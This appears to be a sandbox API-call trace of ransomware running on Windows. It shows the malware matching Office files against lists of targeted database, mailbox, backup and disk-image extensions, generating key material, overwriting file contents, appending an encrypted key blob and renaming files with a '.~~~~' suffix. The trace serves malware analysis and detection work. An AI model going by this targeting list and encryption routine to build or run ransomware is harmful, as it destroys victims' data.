	[0144.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.394] lstrlenW (lpString=".sqb") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".sqb") returned 0x0
	[0144.394] lstrlenW (lpString=".ost") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".ost") returned 0x0
	[0144.394] lstrlenW (lpString=".txt") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".txt") returned 0x0
	[0144.394] lstrlenW (lpString=".mdt") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".mdt") returned 0x0
	[0144.394] lstrlenW (lpString=".BDB") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".BDB") returned 0x0
	[0144.394] lstrlenW (lpString=".eql") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".eql") returned 0x0
	[0144.394] lstrlenW (lpString=".DBF") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DBF") returned 0x0
	[0144.394] lstrlenW (lpString=".EQL") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".EQL") returned 0x0
	[0144.394] lstrlenW (lpString=".FDB") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".FDB") returned 0x0
	[0144.394] lstrlenW (lpString=".EDB") returned 4
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".EDB") returned 0x0
	[0144.394] lstrlenW (lpString=".DACPAC") returned 7
	[0144.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.394] lstrlenW (lpString=".VHD") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".VHD") returned 0x0
	[0144.395] lstrlenW (lpString=".DBV") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DBV") returned 0x0
	[0144.395] lstrlenW (lpString=".dacpac") returned 7
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dacpac") returned 0x0
	[0144.395] lstrlenW (lpString=".sdf") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".sdf") returned 0x0
	[0144.395] lstrlenW (lpString=".accdb") returned 6
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".accdb") returned 0x0
	[0144.395] lstrlenW (lpString=".DBX") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DBX") returned 0x0
	[0144.395] lstrlenW (lpString=".MDT") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".MDT") returned 0x0
	[0144.395] lstrlenW (lpString=".SQB") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".SQB") returned 0x0
	[0144.395] lstrlenW (lpString=".vhd") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".vhd") returned 0x0
	[0144.395] lstrlenW (lpString=".bac") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".bac") returned 0x0
	[0144.395] lstrlenW (lpString=".mdf") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".mdf") returned 0x0
	[0144.395] lstrlenW (lpString=".BAK") returned 4
	[0144.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".BAK") returned 0x0
	[0144.395] lstrlenW (lpString=".BAC") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".BAC") returned 0x0
	[0144.396] lstrlenW (lpString=".dbs") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dbs") returned 0x0
	[0144.396] lstrlenW (lpString=".vhdx") returned 5
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".vhdx") returned 0x0
	[0144.396] lstrlenW (lpString=".NDF") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".NDF") returned 0x0
	[0144.396] lstrlenW (lpString=".dat") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dat") returned 0x0
	[0144.396] lstrlenW (lpString=".DBS") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DBS") returned 0x0
	[0144.396] lstrlenW (lpString=".CKP") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".CKP") returned 0x0
	[0144.396] lstrlenW (lpString=".edb") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".edb") returned 0x0
	[0144.396] lstrlenW (lpString=".PST") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".PST") returned 0x0
	[0144.396] lstrlenW (lpString=".dbf") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dbf") returned 0x0
	[0144.396] lstrlenW (lpString=".SQL") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".SQL") returned 0x0
	[0144.396] lstrlenW (lpString=".pst") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".pst") returned 0x0
	[0144.396] lstrlenW (lpString=".dbv") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dbv") returned 0x0
	[0144.396] lstrlenW (lpString=".SDF") returned 4
	[0144.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".SDF") returned 0x0
	[0144.397] lstrlenW (lpString=".dtxs") returned 5
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dtxs") returned 0x0
	[0144.397] lstrlenW (lpString=".db3") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".db3") returned 0x0
	[0144.397] lstrlenW (lpString=".OST") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".OST") returned 0x0
	[0144.397] lstrlenW (lpString=".dbx") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dbx") returned 0x0
	[0144.397] lstrlenW (lpString=".DB3") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DB3") returned 0x0
	[0144.397] lstrlenW (lpString=".DAT") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DAT") returned 0x0
	[0144.397] lstrlenW (lpString=".VHDX") returned 5
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".VHDX") returned 0x0
	[0144.397] lstrlenW (lpString=".ndf") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".ndf") returned 0x0
	[0144.397] lstrlenW (lpString=".DB") returned 3
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DB") returned 0x0
	[0144.397] lstrlenW (lpString=".sql") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".sql") returned 0x0
	[0144.397] lstrlenW (lpString=".MYD") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".MYD") returned 0x0
	[0144.397] lstrlenW (lpString=".DBT") returned 4
	[0144.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DBT") returned 0x0
	[0144.398] lstrlenW (lpString=".ACCDB") returned 6
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.398] lstrlenW (lpString=".fdb") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".fdb") returned 0x0
	[0144.398] lstrlenW (lpString=".bak") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".bak") returned 0x0
	[0144.398] lstrlenW (lpString=".myd") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".myd") returned 0x0
	[0144.398] lstrlenW (lpString=".DTXS") returned 5
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".DTXS") returned 0x0
	[0144.398] lstrlenW (lpString=".ckp") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".ckp") returned 0x0
	[0144.398] lstrlenW (lpString=".dbt") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dbt") returned 0x0
	[0144.398] lstrlenW (lpString=".db") returned 3
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".db") returned 0x0
	[0144.398] lstrlenW (lpString=".TXT") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".TXT") returned 0x0
	[0144.398] lstrlenW (lpString=".MDF") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".MDF") returned 0x0
	[0144.398] lstrlenW (lpString=".bdb") returned 4
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".bdb") returned 0x0
	[0144.398] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.399] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.400] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.400] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.400] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26439042348) returned 1
	[0144.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf7891f0, dwHighDateTime=0x1d60e1e)) 
	[0144.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3958
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0144.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cfa0
	[0144.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0144.401] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.402] GetLastError () returned 0x0
	[0144.402] GetLastError () returned 0x0
	[0144.402] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.402] GetLastError () returned 0x0
	[0144.402] GetLastError () returned 0x0
	[0144.402] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x9770, lpOverlapped=0x0) returned 1
	[0144.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff6890, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.405] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x9770, lpOverlapped=0x0) returned 1
	[0144.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.406] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.406] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.406] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.406] CloseHandle (hObject=0x114) returned 1
	[0144.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c880
	[0144.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.~~~~")) returned 1
	[0144.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37c880 | out: hHeap=0x300000) returned 1
	[0144.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.409] GetLastError () returned 0x0
	[0144.409] RtlWakeConditionVariable () returned 0x0
	[0144.409] GetCurrentThreadId () returned 0x9cc
	[0144.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".scr") returned 0x0
	[0144.409] lstrlenW (lpString=".cmd") returned 4
	[0144.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".cmd") returned 0x0
	[0144.410] lstrlenW (lpString=".dll") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dll") returned 0x0
	[0144.410] lstrlenW (lpString=".bat") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".bat") returned 0x0
	[0144.410] lstrlenW (lpString=".cpl") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".cpl") returned 0x0
	[0144.410] lstrlenW (lpString=".sys") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".sys") returned 0x0
	[0144.410] lstrlenW (lpString=".msc") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".msc") returned 0x0
	[0144.410] lstrlenW (lpString=".com") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".com") returned 0x0
	[0144.410] lstrlenW (lpString=".lnk") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".lnk") returned 0x0
	[0144.410] lstrlenW (lpString=".msp") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".msp") returned 0x0
	[0144.410] lstrlenW (lpString=".pif") returned 4
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".pif") returned 0x0
	[0144.410] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.414] lstrlenW (lpString=".sqb") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".sqb") returned 0x0
	[0144.414] lstrlenW (lpString=".ost") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".ost") returned 0x0
	[0144.414] lstrlenW (lpString=".txt") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".txt") returned 0x0
	[0144.414] lstrlenW (lpString=".mdt") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".mdt") returned 0x0
	[0144.414] lstrlenW (lpString=".BDB") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".BDB") returned 0x0
	[0144.414] lstrlenW (lpString=".eql") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".eql") returned 0x0
	[0144.414] lstrlenW (lpString=".DBF") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DBF") returned 0x0
	[0144.414] lstrlenW (lpString=".EQL") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".EQL") returned 0x0
	[0144.414] lstrlenW (lpString=".FDB") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".FDB") returned 0x0
	[0144.414] lstrlenW (lpString=".EDB") returned 4
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".EDB") returned 0x0
	[0144.414] lstrlenW (lpString=".DACPAC") returned 7
	[0144.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.414] lstrlenW (lpString=".VHD") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".VHD") returned 0x0
	[0144.415] lstrlenW (lpString=".DBV") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DBV") returned 0x0
	[0144.415] lstrlenW (lpString=".dacpac") returned 7
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dacpac") returned 0x0
	[0144.415] lstrlenW (lpString=".sdf") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".sdf") returned 0x0
	[0144.415] lstrlenW (lpString=".accdb") returned 6
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".accdb") returned 0x0
	[0144.415] lstrlenW (lpString=".DBX") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DBX") returned 0x0
	[0144.415] lstrlenW (lpString=".MDT") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".MDT") returned 0x0
	[0144.415] lstrlenW (lpString=".SQB") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".SQB") returned 0x0
	[0144.415] lstrlenW (lpString=".vhd") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".vhd") returned 0x0
	[0144.415] lstrlenW (lpString=".bac") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".bac") returned 0x0
	[0144.415] lstrlenW (lpString=".mdf") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".mdf") returned 0x0
	[0144.415] lstrlenW (lpString=".BAK") returned 4
	[0144.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".BAK") returned 0x0
	[0144.416] lstrlenW (lpString=".BAC") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".BAC") returned 0x0
	[0144.416] lstrlenW (lpString=".dbs") returned 4
